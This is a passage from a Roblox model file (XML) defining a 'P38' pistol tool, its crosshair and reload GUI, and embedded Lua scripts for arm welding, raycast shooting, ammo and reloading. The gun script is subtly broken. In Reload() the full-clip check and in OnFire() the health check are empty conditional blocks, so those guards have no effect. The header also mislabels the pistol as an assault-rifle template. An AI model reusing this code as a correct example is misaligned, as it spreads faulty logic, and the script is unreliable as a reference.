							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX5150">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5151">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5152">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX5153">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5154">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5155">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5156">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5157">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5158">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.300000012</Y>
					<Z>0.100000001</Z>
					<R00>0.949628532</R00>
					<R01>0</R01>
					<R02>0.313377768</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.313377768</R20>
					<R21>0</R21>
					<R22>0.949628532</R22>
				</CoordinateFrame>
				<string name="Name">P38</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080089</url></Content>
				<string name="ToolTip">P38</string>
			</Properties>
			<Item class="Part" referent="RBX5159">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-16.2000008</X>
						<Y>-68.5999985</Y>
						<Z>28.8999996</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>1.60000002</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5160">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=95356090</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5161">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.75</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5162">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697432</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5163">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5164">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5165">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5166">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5167">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">P38</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 17
-- How many times per second the gun can fire
local FireRate = 1 / 5.5
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.007
-- In radian the maximum accuracy penalty
local MaxSpread = 0.04
-- Number of bullets in a clip
local ClipSize = 8
-- DefaultValue for spare ammo
local SpareAmmo = 80
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .055
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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			</Item>
			<Item class="ScreenGui" referent="RBX5168">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
